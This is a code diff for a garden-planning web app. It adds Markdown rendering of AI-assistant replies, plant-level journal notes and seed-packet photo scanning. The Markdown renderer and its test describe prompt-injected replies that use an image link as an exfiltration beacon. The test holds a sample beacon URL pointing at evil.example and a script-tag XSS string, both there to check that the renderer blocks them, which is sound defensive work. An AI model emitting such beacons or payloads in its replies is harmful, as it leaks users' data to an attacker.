             conversation had been lost, which is a much worse thing to believe. */}
@@ -227,11 +250,27 @@ function Bubble({
     <div className={cn('flex flex-col', mine ? 'items-end' : 'items-start')}>
       <div
         className={cn(
-          'max-w-[90%] whitespace-pre-wrap rounded-lg px-2.5 py-2 text-sm',
-          mine ? 'bg-accent/15 text-fg' : 'border border-border text-fg',
+          'rounded-lg px-2.5 py-2 text-sm',
+          // The user's own text is literal (their `*` shouldn't become a bullet)
+          // and hugs the right; the assistant's Markdown is rendered and gets the
+          // full width so a table has room.
+          mine
+            ? 'max-w-[90%] whitespace-pre-wrap bg-accent/15 text-fg'
+            : 'w-full border border-border text-fg',
         )}
       >
-        {body}
+        {mine ? (
+          body
+        ) : (
+          // Show the raw text until the renderer chunk arrives (Suspense), and fall
+          // back to it if the chunk can't load or the renderer throws (boundary) —
+          // either way the message is readable, never blank and never a crash.
+          <MarkdownBoundary fallback={<span className="whitespace-pre-wrap">{body}</span>}>
+            <Suspense fallback={<span className="whitespace-pre-wrap">{body}</span>}>
+              <MarkdownMessage>{body}</MarkdownMessage>
+            </Suspense>
+          </MarkdownBoundary>
+        )}
       </div>
       {children}
     </div>

web/src/editor/EditorRail.tsx

@@ -18,10 +18,13 @@ import { cn } from '@/lib/cn'
  *     closes completely when nothing needs it.
  *
  * Layout differs by breakpoint. Desktop: a fixed 20rem column beside the canvas.
- * Phone: an in-flow PEEK (#101) — a ≤50vh panel the editor's flex column places
- * BETWEEN the canvas and the always-visible mode bar, so the canvas shrinks to
- * keep the garden visible above it and the mode bar reachable below, rather than
- * a bottom sheet that covered the whole garden.
+ * Phone: an in-flow PEEK (#101) — a capped-height panel the editor's flex column
+ * places BETWEEN the canvas and the always-visible mode bar, so the canvas
+ * shrinks to keep the garden visible above it and the mode bar reachable below,
+ * rather than a bottom sheet that covered the whole garden. `tall` raises that
+ * cap for panel modes (journal/history/assistant), where reading and typing are
+ * the task and a half-height peek felt cramped; the inspector keeps the shorter
+ * peek so the canvas it describes stays in view.
  */
 
 export interface RailTab {
@@ -38,11 +41,14 @@ export function EditorRail({
   activeId,
   onActivate,
   onClose,
+  tall = false,
 }: {
   tabs: RailTab[]
   activeId: string
   onActivate: (id: string) => void
   onClose: () => void
+  /** Raise the mobile peek's height cap (panel modes want the room). */
+  tall?: boolean
 }) {
   const active = tabs.find((t) => t.id === activeId) ?? tabs[0]
   if (!active) return null
@@ -54,8 +60,12 @@ export function EditorRail({
         // canvas and the always-visible mode bar (the editor's flex column places
         // it there), so the garden stays visible above it and the mode bar stays
         // reachable below. The canvas flexes to fill whatever's left. Desktop: a
-        // fixed-width column beside the canvas.
-        'flex max-h-[50vh] min-h-0 shrink-0 flex-col rounded-t-xl border-t border-border bg-surface shadow-lg',
+        // fixed-width column beside the canvas (the cap doesn't apply there).
+        'flex min-h-0 shrink-0 flex-col rounded-t-xl border-t border-border bg-surface shadow-lg',
+        // dvh, not vh: the enclosing editor column is dvh-bounded, and on mobile
+        // Safari/Chrome vh is the *largest* viewport, so a vh cap could overrun the
+        // visible area and shove the mode bar off-screen (same #85 reasoning).
+        tall ? 'max-h-[78dvh]' : 'max-h-[50dvh]',
         'md:static md:max-h-none md:w-80 md:rounded-xl md:border md:shadow-sm',
       )}
     >

web/src/editor/JournalPanel.tsx

@@ -37,6 +37,8 @@ export function JournalPanel({
   objects,
   scopeObjectId,
   onScopeChange,
+  scopePlantingId,
+  onScopePlantingChange,
 }: {
   gardenId: number
   canEdit: boolean
@@ -46,19 +48,30 @@ export function JournalPanel({
   /** Which bed the panel is filtered to, if any. */
   scopeObjectId: number | null
   onScopeChange: (id: number | null) => void
+  /** Which single plop the panel is filtered to, if any (#85). The store keeps
+   *  this mutually exclusive with scopeObjectId. Required like its bed twin. */
+  scopePlantingId: number | null
+  onScopePlantingChange: (id: number | null) => void
 }) {
   // Date-range narrowing (#85): the backend and JournalFilter already supported
   // from/to; they just had no UI. Empty inputs don't filter.
   const [from, setFrom] = useState('')
   const [to, setTo] = useState('')
+  const scopedObject = objects.find((o) => o.id === scopeObjectId) ?? null
+  // One source of scope priority — plop over bed — for both the filter and the
+  // composer's label, so they can't drift.
+  const scopeLabel = scopePlantingId != null ? 'this planting' : scopedObject ? objectDisplayName(scopedObject) : null
   const filter = {
-    ...(scopeObjectId != null ? { objectId: scopeObjectId } : {}),
+    ...(scopePlantingId != null
+      ? { plantingId: scopePlantingId }
+      : scopeObjectId != null
+        ? { objectId: scopeObjectId }
+        : {}),
     ...(from ? { from } : {}),
     ...(to ? { to } : {}),
   }
   const journal = useJournal(gardenId, filter)
   const entries = journal.data?.pages.flatMap((p) => p.entries) ?? []
-  const scopedObject = objects.find((o) => o.id === scopeObjectId) ?? null
 
   return (
     <div className="flex flex-col gap-3">
@@ -83,6 +96,19 @@ export function JournalPanel({
         )}
       </div>
 
+      {scopePlantingId != null && (
+        <div className="flex items-center justify-between gap-2 rounded-md bg-accent/10 px-2 py-1 text-xs">
+          <span className="text-accent-strong">Notes about one planting</span>
+          <button
+            type="button"
+            onClick={() => onScopePlantingChange(null)}
+            className="rounded px-1 text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
+          >
+            Show all
+          </button>
+        </div>
+      )}
+
       <div className="flex items-center gap-2 text-xs text-muted">
         <label className="flex items-center gap-1">
           <span>From</span>
@@ -121,8 +147,9 @@ export function JournalPanel({
       {canEdit && (
         <Composer
           gardenId={gardenId}
-          objectId={scopeObjectId}
-          scopeLabel={scopedObject ? objectDisplayName(scopedObject) : null}
+          objectId={scopePlantingId != null ? null : scopeObjectId}
+          plantingId={scopePlantingId}
+          scopeLabel={scopeLabel}
         />
       )}
 
@@ -133,9 +160,11 @@ export function JournalPanel({
 
       {journal.isSuccess && entries.length === 0 && (
         <p className="text-sm text-muted">
-          {scopedObject
-            ? `Nothing written about ${objectDisplayName(scopedObject)} yet.`
-            : 'Nothing written yet. This is where what happened goes — when something went in, what came up, what the frost got. Next year you get to read it back.'}
+          {scopePlantingId != null
+            ? 'Nothing written about this planting yet.'
+            : scopedObject
+              ? `Nothing written about ${objectDisplayName(scopedObject)} yet.`
+              : 'Nothing written yet. This is where what happened goes — when something went in, what came up, what the frost got. Next year you get to read it back.'}
         </p>
       )}
 
@@ -174,10 +203,13 @@ export function JournalPanel({
 function Composer({
   gardenId,
   objectId,
+  plantingId = null,
   scopeLabel,
 }: {
   gardenId: number
   objectId: number | null
+  /** When set, the note attaches to this plop rather than a bed (#85). */
+  plantingId?: number | null
   scopeLabel: string | null
 }) {
   const create = useCreateJournalEntry(gardenId)
@@ -191,7 +223,7 @@ function Composer({
     if (!text) return
     setError(null)
     create.mutate(
-      { body: text, observedAt, objectId: objectId ?? undefined },
+      { body: text, observedAt, objectId: objectId ?? undefined, plantingId: plantingId ?? undefined },
       {
         onSuccess: () => {
           setBody('')

web/src/editor/MarkdownMessage.test.tsx

@@ -0,0 +1,60 @@
+import { describe, expect, it } from 'vitest'
+import { renderToStaticMarkup } from 'react-dom/server'
+import { MarkdownMessage } from './MarkdownMessage'
+
+// renderToStaticMarkup needs no DOM, so this runs in the default (node) env and
+// proves the assistant's Markdown — GFM tables in particular — actually renders.
+function render(md: string): string {
+  return renderToStaticMarkup(<MarkdownMessage>{md}</MarkdownMessage>)
+}
+
+describe('MarkdownMessage', () => {
+  it('renders a GFM table with styled cells', () => {
+    const html = render('| Bed | Plant |\n| --- | --- |\n| North | Garlic |')
+    expect(html).toContain('<table')
+    expect(html).toContain('border-collapse')
+    expect(html).toContain('<th')
+    expect(html).toContain('<td')
+    expect(html).toContain('Garlic')
+    // Wide tables scroll inside their own box rather than blowing out the bubble.
+    expect(html).toContain('overflow-x-auto')
+  })
+
+  it('renders inline formatting and lists', () => {
+    const html = render('**bold** and *italic*\n\n- one\n- two')
+    expect(html).toContain('<strong')
+    expect(html).toContain('<em')
+    expect(html).toContain('<ul')
+    expect(html).toContain('<li')
+  })
+
+  it('does not emit raw HTML from the model (no rehype-raw)', () => {
+    const html = render('Hi <script>alert(1)</script> <b>x</b>')
+    expect(html).not.toContain('<script>')
+    expect(html).not.toContain('<b>x</b>') // the literal tag is escaped, not rendered
+  })
+
+  it('opens links safely in a new tab', () => {
+    const html = render('[seeds](https://example.com)')
+    expect(html).toContain('href="https://example.com"')
+    expect(html).toContain('rel="noopener noreferrer"')
+  })
+
+  it('does not render images (no auto-loading exfiltration beacon)', () => {
+    // A prompt-injected reply could embed `![](https://evil/?leak=…)`; the browser
+    // would auto-fetch it, leaking that the message was viewed (and anything smuggled
+    // into the URL). We forbid <img> entirely, so the beacon never fires.
+    const html = render('before ![pixel](https://evil.example/leak?data=secret) after')
+    expect(html).not.toContain('<img')
+    expect(html).not.toContain('evil.example')
+    // Surrounding prose still renders.
+    expect(html).toContain('before')
+    expect(html).toContain('after')
+  })
+
+  it('honours GFM column alignment', () => {
+    const html = render('| L | C | R |\n| :-- | :--: | --: |\n| a | b | c |')
+    expect(html).toContain('text-align:center')
+    expect(html).toContain('text-align:right')
+  })
+})

web/src/editor/MarkdownMessage.tsx

@@ -0,0 +1,109 @@
+import { memo, type ReactNode } from 'react'
+import ReactMarkdown, { type Components } from 'react-markdown'
+import remarkGfm from 'remark-gfm'
+
+// Hoisted so they're not re-created every render (which would defeat both React's
+// and ReactMarkdown's memoization).
+const remarkPlugins = [remarkGfm]
+const CODE_BLOCK = /language-/
+
+// The assistant's replies are never trusted markup: their content can be steered
+// by anything the agent read (a shared garden's notes, a seed vendor page). So we
+// render Markdown but NOT raw HTML (no rehype-raw), and — belt to that — forbid
+// <img>, whose auto-loading `src` is a prompt-injection exfiltration beacon
+// (`![](https://evil/?leak=…)`); the assistant has no reason to emit images.
+const disallowedElements = ['img']
+
+// Tailwind's reset strips default list/table styling, so every element the
+// assistant actually uses is restyled here, scaled for a chat bubble. Wide
+// content (tables, code) scrolls in its own box so the bubble never blows out.
+const bigHeading = ({ children }: { children?: ReactNode }) => (
+  <h4 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h4>
+)
+const smallHeading = ({ children }: { children?: ReactNode }) => (
+  <h5 className="mb-1 mt-1.5 text-xs font-semibold uppercase tracking-wide text-muted first:mt-0">
+    {children}
+  </h5>
+)
+
+const components: Components = {
+  p: ({ children }) => <p className="my-1.5 first:mt-0 last:mb-0">{children}</p>,
+  a: ({ href, children }) => (
+    <a
+      href={href}
+      target="_blank"
+      rel="noopener noreferrer"
+      className="text-accent-strong underline underline-offset-2"
+    >
+      {children}
+    </a>
+  ),
+  ul: ({ children }) => <ul className="my-1.5 list-disc pl-5">{children}</ul>,
+  ol: ({ children, start }) => (
+    <ol start={start} className="my-1.5 list-decimal pl-5">
+      {children}
+    </ol>
+  ),
+  li: ({ children }) => <li className="my-0.5">{children}</li>,
+  strong: ({ children }) => <strong className="font-semibold">{children}</strong>,
+  em: ({ children }) => <em className="italic">{children}</em>,
+  h1: bigHeading,
+  h2: bigHeading,
+  h3: bigHeading,
+  h4: smallHeading,
+  h5: smallHeading,
+  h6: smallHeading,
+  blockquote: ({ children }) => (
+    <blockquote className="my-1.5 border-l-2 border-border pl-2 text-muted">{children}</blockquote>
+  ),
+  hr: () => <hr className="my-2 border-border" />,
+  code: ({ className, children }) => {
+    // A fenced block is wrapped by <pre> (styled below) and carries either a
+    // language- class or a trailing newline; inline code is a single-line bare
+    // <code> and gets the pill treatment. (The newline check catches fences with
+    // no info-string, which have no language- class.)
+    const isBlock = CODE_BLOCK.test(className ?? '') || String(children).includes('\n')
+    if (isBlock) return <code className={className}>{children}</code>
+    return (
+      <code className="rounded bg-border/60 px-1 py-0.5 font-mono text-[0.85em]">{children}</code>
+    )
+  },
+  pre: ({ children }) => (
+    <pre className="my-1.5 overflow-x-auto rounded-md bg-border/40 p-2 font-mono text-xs">
+      {children}
+    </pre>
+  ),
+  table: ({ children }) => (
+    <div className="my-1.5 overflow-x-auto">
+      <table className="w-full border-collapse text-xs">{children}</table>
+    </div>
+  ),
+  // Pass `style` through: GFM column alignment (`:---:` / `---:`) arrives as
+  // style.textAlign, and dropping it would silently discard it.
+  th: ({ children, style }) => (
+    <th style={style} className="border border-border px-2 py-1 font-semibold">
+      {children}
+    </th>
+  ),
+  td: ({ children, style }) => (
+    <td style={style} className="border border-border px-2 py-1 align-top">
+      {children}
+    </td>
+  ),
+}
+
+/** Render one assistant message body as Markdown (GFM). Memoized so typing in the
+ *  composer doesn't re-parse every message in the thread. */
+export const MarkdownMessage = memo(function MarkdownMessage({ children }: { children: string }) {
+  return (
+    <div className="leading-relaxed">
+      <ReactMarkdown
+        remarkPlugins={remarkPlugins}
+        disallowedElements={disallowedElements}
+        components={components}
+      >
+        {children}
+      </ReactMarkdown>
+    </div>
+  )
+})

web/src/editor/PlopInspector.tsx

@@ -25,6 +25,7 @@ export function PlopInspector({
   unit,
   onChangePlant,
   onClose,
+  onAddNote,
   readOnly = false,
 }: {
   plop: EditorPlanting
@@ -33,6 +34,11 @@ export function PlopInspector({
   unit: UnitPref
   onChangePlant: () => void
   onClose: () => void
+  /** Scope the journal to this plop and open it — the plop parallel of the bed
+   *  inspector's "add note" (#85). Offered to viewers too (to READ the plop's
+   *  notes, like the bed inspector does); the journal's composer is separately
+   *  gated on edit rights, so a viewer just sees the entries. */
+  onAddNote?: () => void
   readOnly?: boolean
 }) {
   const update = useUpdatePlanting(gardenId)
@@ -172,6 +178,12 @@ export function PlopInspector({
         />
       </fieldset>
 
+      {onAddNote && (
+        <Button variant="ghost" className="justify-start px-2 py-1 text-sm" onClick={onAddNote}>
+          📓 {readOnly ? 'Notes about this plant' : 'Add a note about this plant'}
+        </Button>
+      )}
+
       {!readOnly && (
         <Button
           variant="ghost"

web/src/editor/store.ts

@@ -59,6 +59,12 @@ interface EditorState {
   journalObjectId: number | null
   setJournalObjectId: (id: number | null) => void
 
+  // Which single plop the journal is filtered to, if any — the parallel of
+  // journalObjectId for a planting (#85). The two scopes are mutually exclusive
+  // (the setters clear each other), so the journal filter is never ambiguous.
+  journalPlantingId: number | null
+  setJournalPlantingId: (id: number | null) => void
+
   // The plant armed for placing plops (set after the PlantPicker choice); stays
   // armed for repeat-placement until cleared (Escape / done). null = not placing.
   armedPlant: Plant | null
@@ -116,7 +122,11 @@ export const useEditorStore = create<EditorState>((set) => ({
   setSeasonYear: (year) => set({ seasonYear: year }),
 
   journalObjectId: null,
-  setJournalObjectId: (id) => set({ journalObjectId: id }),
+  // Scoping to a bed clears any plop scope, so only one is ever active.
+  setJournalObjectId: (id) => set({ journalObjectId: id, journalPlantingId: null }),
+
+  journalPlantingId: null,
+  setJournalPlantingId: (id) => set({ journalPlantingId: id, journalObjectId: null }),
 
   armedPlant: null,
   armedLotId: null,
@@ -147,6 +157,7 @@ export const useEditorStore = create<EditorState>((set) => ({
       railTab: null,
       seasonYear: null,
       journalObjectId: null,
+      journalPlantingId: null,
       mode: DEFAULT_MODE,
     }),
 }))

web/src/lib/agent.ts

@@ -11,18 +11,27 @@ import { API_BASE, api } from './api'
 import { gardenFullKey } from './objects'
 import { historyKey } from './history'
 
-const capabilitiesSchema = z.object({ agent: z.boolean() })
+// What this instance can actually do, so the UI offers only what works: `agent`
+// (the assistant is live now) and `vision` (a seed-packet scan will work). Both
+// default to false so a partial/older response just hides the feature rather
+// than failing the whole parse.
+const capabilitiesSchema = z.object({
+  agent: z.boolean().default(false),
+  vision: z.boolean().default(false),
+})
+export type Capabilities = z.infer<typeof capabilitiesSchema>
 
 export const capabilitiesKey = ['capabilities'] as const
 
-/** Whether the assistant is live RIGHT NOW. Without it the panel isn't rendered
- *  at all — a dead button is worse than no button.
+/** What this instance can do right now: whether the assistant is live and whether
+ *  seed-packet scanning will work. Without a capability the matching feature isn't
+ *  offered at all — a dead button is worse than no button.
  *
- *  Not `staleTime: Infinity` any more: an admin can turn the assistant on or off
- *  in Settings (#79), so this must be able to change under a running page. The
- *  settings save invalidates this key directly; the finite staleTime just means
- *  another admin's change is picked up on the next focus/remount rather than
- *  never. */
+ *  Not `staleTime: Infinity` any more: an admin can turn the assistant or a vision
+ *  model on or off in Settings (#79), so this must be able to change under a
+ *  running page. The settings save invalidates this key directly; the finite
+ *  staleTime just means another admin's change is picked up on the next
+ *  focus/remount rather than never. */
 export function useCapabilities() {
   return useQuery({
     queryKey: capabilitiesKey,

web/src/lib/api.ts

@@ -42,7 +42,8 @@ export type Params = Record<string, ParamValue>
 
 export interface RequestOptions {
   method?: 'GET' | 'POST' | 'PATCH' | 'PUT' | 'DELETE'
-  /** JSON request body; serialized and sent with a JSON content-type. */
+  /** Request body. A `FormData` goes out as multipart (a file upload — the
+   *  seed-packet scan); anything else is serialized as JSON. */
   body?: unknown
   /** Query-string parameters; undefined/null/'' entries are omitted. */
   params?: Params
@@ -90,9 +91,13 @@ function messageFrom(body: unknown, status: number): string {
 export async function apiFetch<T>(path: string, opts: RequestOptions = {}): Promise<T> {
   const { method = 'GET', body, params, signal } = opts
 
-  // Serialize before the try so a JSON.stringify failure (e.g. a circular value)
-  // surfaces as itself, not as a misleading "cannot reach the server" error.
-  const requestBody = body !== undefined ? JSON.stringify(body) : undefined
+  // FormData must go out as multipart with a browser-generated boundary, so it's
+  // sent as-is with NO content-type header (the browser sets it, boundary
+  // included). Everything else is JSON — serialized before the try so a
+  // JSON.stringify failure (e.g. a circular value) surfaces as itself, not as a
+  // misleading "cannot reach the server" error.
+  const isForm = typeof FormData !== 'undefined' && body instanceof FormData
+  const requestBody = body === undefined ? undefined : isForm ? body : JSON.stringify(body)
 
   let res: Response
   try {
@@ -102,9 +107,9 @@ export async function apiFetch<T>(path: string, opts: RequestOptions = {}): Prom
       credentials: 'same-origin', // send the HttpOnly session cookie
       headers: {
         accept: 'application/json',
-        ...(body !== undefined ? { 'content-type': 'application/json' } : {}),
+        ...(body !== undefined && !isForm ? { 'content-type': 'application/json' } : {}),
       },
-      body: requestBody,
+      body: requestBody as BodyInit | undefined,
     })
   } catch (err) {
     if ((err as Error)?.name === 'AbortError') throw err
@@ -143,6 +148,8 @@ export const api = {
     apiFetch<T>(path, { ...opts, method: 'GET' }),
   post: <T>(path: string, body?: unknown, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
     apiFetch<T>(path, { ...opts, method: 'POST', body }),
+  postForm: <T>(path: string, form: FormData, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
+    apiFetch<T>(path, { ...opts, method: 'POST', body: form }),
   patch: <T>(path: string, body?: unknown, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
     apiFetch<T>(path, { ...opts, method: 'PATCH', body }),
   delete: <T>(path: string, opts?: Omit<RequestOptions, 'method' | 'body'>) =>

web/src/lib/lazyPage.ts

@@ -0,0 +1,41 @@
+import { lazy, type ComponentType } from 'react'
+
+/**
+ * Lazily load a component by its named export, with recovery for the stale-chunk
+ * problem. A push to main redeploys, so a still-open app references chunk hashes
+ * the server has just replaced; that import 404s and React.lazy MEMOIZES the
+ * rejection, so a "Try again" can never recover — the user is stuck until a manual
+ * hard reload. On the first such failure we reload once (fetching the fresh index
+ * + hashes); a session flag stops a reload loop, and a success clears it so a
+ * later genuine failure can reload again.
+ *
+ * Shared by the route splits (router.tsx) and any feature-level lazy load (the
+ * assistant's Markdown renderer), so they all get the same recovery.
+ */
+export function lazyPage<M, K extends keyof M>(load: () => Promise<M>, name: K) {
+  // Preserve the component's own prop type so callers keep type-checked props
+  // (e.g. MarkdownMessage's `children: string`), rather than erasing to `{}`.
+  type C = M[K] extends ComponentType<infer P> ? ComponentType<P> : never
+  return lazy<C>(async () => {
+    try {
+      const mod = await load()
+      try {
+        sessionStorage.removeItem('pansy:chunk-reload')
+      } catch {
+        /* storage unavailable — fine */
+      }
+      return { default: mod[name] as C }
+    } catch (err) {
+      try {
+        if (!sessionStorage.getItem('pansy:chunk-reload')) {
+          sessionStorage.setItem('pansy:chunk-reload', '1')
+          window.location.reload()
+          return await new Promise<{ default: C }>(() => {}) // hold for the reload
+        }
+      } catch {
+        /* storage unavailable — fall through to surface the error */
+      }
+      throw err // already reloaded once (or can't); let the error boundary show it
+    }
+  })
+}

web/src/lib/plants.ts

@@ -61,7 +61,7 @@ export function filterPlants(plants: Plant[], query: string, category: CategoryF
   )
 }
 
-const plantsKey = ['plants'] as const
+export const plantsKey = ['plants'] as const
 
 export const plantsQueryOptions = queryOptions({
   queryKey: plantsKey,

web/src/lib/seedLots.ts

@@ -46,7 +46,7 @@ export const seedLotSchema = z.object({
 })
 export type SeedLot = z.infer<typeof seedLotSchema>
 
-const seedLotsKey = ['seed-lots'] as const
+export const seedLotsKey = ['seed-lots'] as const
 
 export function useSeedLots() {
   return useQuery({

web/src/lib/seedPacket.test.ts

@@ -0,0 +1,120 @@
+import { describe, expect, it } from 'vitest'
+import {
+  lotDefaults,
+  newPlantDefaults,
+  packetProposalSchema,
+  seedPacketSchema,
+  PACKET_PLANT_COLOR,
+  PACKET_PLANT_ICON,
+} from './seedPacket'
+
+// A full proposal as the backend sends it, for the schema + prefill tests.
+const proposal = {
+  packet: {
+    species: 'garlic',
+    variety: 'Music',
+    category: 'vegetable',
+    vendor: "Johnny's",
+    sku: 'G-123',
+    lotCode: 'L9',
+    packedForYear: 2026,
+    daysToMaturity: 90,
+    spacingCm: 15,
+    seedCount: 12,
+  },
+  candidates: [
+    {
+      plant: {
+        id: 7,
+        name: 'Music',
+        category: 'vegetable',
+        spacingCm: 15,
+        color: '#fff',
+        icon: '🧄',
+        notes: '',
+        version: 1,
+        createdAt: '2026-01-01T00:00:00Z',
+        updatedAt: '2026-01-01T00:00:00Z',
+      },
+      reason: 'exact name',
+    },
+  ],
+  suggestedName: 'Music',
+  suggestedCategory: 'vegetable',
+}
+
+describe('seedPacketSchema', () => {
+  it('fills defaults for a sparse packet (only what was printed)', () => {
+    // A packet where the model only read a species — everything else absent.
+    const p = seedPacketSchema.parse({ species: 'basil' })
+    expect(p.species).toBe('basil')
+    expect(p.variety).toBe('')
+    expect(p.spacingCm).toBeNull()
+    expect(p.seedCount).toBeNull()
+    expect(p.packedForYear).toBeNull()
+  })
+})
+
+describe('packetProposalSchema', () => {
+  it('parses a full proposal including candidates', () => {
+    const p = packetProposalSchema.parse(proposal)
+    expect(p.candidates).toHaveLength(1)
+    expect(p.candidates[0].plant.id).toBe(7)
+    expect(p.candidates[0].reason).toBe('exact name')
+    expect(p.suggestedName).toBe('Music')
+  })
+
+  it('defaults candidates to empty when absent', () => {
+    const p = packetProposalSchema.parse({ packet: { species: 'kale' } })
+    expect(p.candidates).toEqual([])
+    expect(p.suggestedName).toBe('')
+  })
+})
+
+describe('newPlantDefaults', () => {
+  it('prefills name/category/spacing/days/vendor from the proposal', () => {
+    const np = newPlantDefaults(packetProposalSchema.parse(proposal))
+    expect(np.name).toBe('Music')
+    expect(np.category).toBe('vegetable')
+    expect(np.spacingCm).toBe(15)
+    expect(np.daysToMaturity).toBe(90)
+    expect(np.vendor).toBe("Johnny's")
+    // No icon/color on a packet — placeholders the user can change later.
+    expect(np.icon).toBe(PACKET_PLANT_ICON)
+    expect(np.color).toBe(PACKET_PLANT_COLOR)
+  })
+
+  it('falls back to a safe category and default spacing when the packet lacks them', () => {
+    const np = newPlantDefaults(
+      packetProposalSchema.parse({
+        packet: { species: 'mystery' },
+        suggestedName: 'mystery',
+        suggestedCategory: 'not-a-real-category',
+      }),
+    )
+    // An unknown category must not leak through — CreatePlant would reject it.
+    expect(np.category).toBe('vegetable')
+    // No printed spacing → the same default the manual form uses.
+    expect(np.spacingCm).toBe(30)
+    expect(np.daysToMaturity).toBeNull()
+  })
+})
+
+describe('lotDefaults', () => {
+  it('reads a seed count as "<n> seeds"', () => {
+    const lot = lotDefaults(seedPacketSchema.parse(proposal.packet))
+    expect(lot.quantity).toBe(12)
+    expect(lot.unit).toBe('seeds')
+    expect(lot.vendor).toBe("Johnny's")
+    expect(lot.sku).toBe('G-123')
+    expect(lot.lotCode).toBe('L9')
+    expect(lot.packedForYear).toBe(2026)
+  })
+
+  it('defaults to one packet when no seed count is printed', () => {
+    const lot = lotDefaults(seedPacketSchema.parse({ species: 'basil' }))
+    expect(lot.quantity).toBe(1)
+    expect(lot.unit).toBe('packets')
+    expect(lot.packedForYear).toBeNull()
+  })
+})

web/src/lib/seedPacket.ts

@@ -0,0 +1,149 @@
+// Seed-packet capture client (#81/#102). Two steps, deliberately separate — the
+// same shape the backend enforces:
+//   POST /seed-lots/scan        a packet photo → a PacketProposal (reads only)
+//   POST /seed-lots/from-packet a confirmed proposal → a plant + a seed lot
+// The scan never writes; a misread can't add anything to the catalog on its own.
+// Creation happens only from an explicit confirm, with exactly one of an existing
+// plant (plantId) or a new variety (newPlant).
+
+import { useMutation, useQueryClient } from '@tanstack/react-query'
+import { z } from 'zod'
+import { api } from './api'
+import { PLANT_CATEGORIES, plantSchema, plantsKey, type PlantCategory, type PlantInput } from './plants'
+import { seedLotSchema, seedLotsKey, type LotUnit, type SeedLotInput } from './seedLots'
+
+// SeedPacket mirrors internal/vision.SeedPacket: the fields read off a packet.
+// Every field can be empty or null because the model fills only what's actually
+// printed — so each has a default and nothing here is required.
+export const seedPacketSchema = z.object({
+  species: z.string().default(''),
+  variety: z.string().default(''),
+  category: z.string().default(''),
+  vendor: z.string().default(''),
+  sku: z.string().default(''),
+  lotCode: z.string().default(''),
+  packedForYear: z.number().nullable().default(null),
+  daysToMaturity: z.number().nullable().default(null),
+  spacingCm: z.number().nullable().default(null),
+  seedCount: z.number().nullable().default(null),
+})
+export type SeedPacket = z.infer<typeof seedPacketSchema>
+
+// A candidate existing plant the packet might already be, with why it matched so
+// the UI can show the reason next to it.
+export const packetMatchSchema = z.object({ plant: plantSchema, reason: z.string() })
+export type PacketMatch = z.infer<typeof packetMatchSchema>
+
+// What a scan returns: the read fields, the candidate existing plants (best
+// first; empty means "probably new"), and prefill hints for a new variety.
+export const packetProposalSchema = z.object({
+  packet: seedPacketSchema,
+  candidates: z.array(packetMatchSchema).default([]),
+  suggestedName: z.string().default(''),
+  suggestedCategory: z.string().default(''),
+})
+export type PacketProposal = z.infer<typeof packetProposalSchema>
+
+// What a confirm produced: the plant (new or matched) and the created lot.
+export const packetResultSchema = z.object({
+  plant: plantSchema,
+  lot: seedLotSchema,
+  plantIsNew: z.boolean(),
+})
+export type PacketResult = z.infer<typeof packetResultSchema>
+
+// The lot half of a confirm carries no plantId — the plant comes from the
+// plantId/newPlant choice, and the server attributes the lot to it.
+export type SeedLotFields = Omit<SeedLotInput, 'plantId'>
+
+// A confirmed proposal: exactly one of plantId (attach to an existing plant) or
+// newPlant (create a variety), plus the lot to record.
+export interface FromPacketBody {
+  plantId?: number
+  newPlant?: PlantInput
+  lot: SeedLotFields
+}
+
+/** Scan a packet photo into a proposal. Multipart upload; the vision call can
+ *  take several seconds (the server extends its deadline to 120s), so a `signal`
+ *  can be threaded through to abort a slow/hung scan — the caller wires it to a
+ *  Cancel button so the dialog is never a trap. Not cached — every photo is a
+ *  fresh one-shot. */
+export function useScanPacket() {
+  return useMutation({
+    mutationFn: async ({ file, signal }: { file: File; signal?: AbortSignal }): Promise<PacketProposal> => {
+      const form = new FormData()
+      form.append('image', file)
+      return packetProposalSchema.parse(await api.postForm('/seed-lots/scan', form, { signal }))
+    },
+  })
+}
+
+/** Confirm a proposal into a plant + lot. Invalidates both catalogs the new rows
+ *  show up in. */
+export function useCreateFromPacket() {
+  const qc = useQueryClient()
+  return useMutation({
+    mutationFn: async (body: FromPacketBody): Promise<PacketResult> =>
+      packetResultSchema.parse(await api.post('/seed-lots/from-packet', body)),
+    onSuccess: () => {
+      void qc.invalidateQueries({ queryKey: plantsKey })
+      void qc.invalidateQueries({ queryKey: seedLotsKey })
+    },
+  })
+}
+
+// A packet has no icon or color, so a new variety created from one gets these
+// placeholders; the user can set a real icon/color later from the plant card.
+export const PACKET_PLANT_COLOR = '#4a7c3f'
+export const PACKET_PLANT_ICON = '🌱'
+// A packet without a printed spacing falls back to this (cm) — the same default
+// the manual new-plant form uses.
+const DEFAULT_SPACING_CM = 30
+
+function isPlantCategory(c: string): c is PlantCategory {
+  return (PLANT_CATEGORIES as readonly string[]).includes(c)
+}
+
+/**
+ * Prefill a new-variety form from a proposal. Name and category come from the
+ * proposal's suggestions (already validated server-side against the known
+ * categories, but re-checked here); spacing/days/vendor come off the packet.
+ * Color and icon aren't on a packet, so they take the placeholders above.
+ */
+export function newPlantDefaults(p: PacketProposal): PlantInput {
+  return {
+    name: p.suggestedName,
+    category: isPlantCategory(p.suggestedCategory) ? p.suggestedCategory : 'vegetable',
+    spacingCm: p.packet.spacingCm ?? DEFAULT_SPACING_CM,
+    color: PACKET_PLANT_COLOR,
+    icon: PACKET_PLANT_ICON,
+    daysToMaturity: p.packet.daysToMaturity,
+    sourceUrl: '',
+    vendor: p.packet.vendor,
+    notes: '',
+  }
+}
+
+/**
+ * Prefill the lot fields from the packet. A printed seed count reads naturally as
+ * "<n> seeds"; without one, default to a single packet — the thing you physically
+ * bought — which the user can correct.
+ */
+export function lotDefaults(p: SeedPacket): SeedLotFields {
+  const hasCount = p.seedCount != null && p.seedCount > 0
+  const unit: LotUnit = hasCount ? 'seeds' : 'packets'
+  return {
+    vendor: p.vendor,
+    sourceUrl: '',
+    sku: p.sku,
+    lotCode: p.lotCode,
+    purchasedAt: null,
+    packedForYear: p.packedForYear,
+    quantity: hasCount ? (p.seedCount as number) : 1,
+    unit,
+    costCents: null,
+    germinationPct: null,
+    notes: '',
+  }
+}

web/src/pages/GardenEditorPage.tsx

@@ -1,5 +1,5 @@
 import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
-import { getRouteApi } from '@tanstack/react-router'
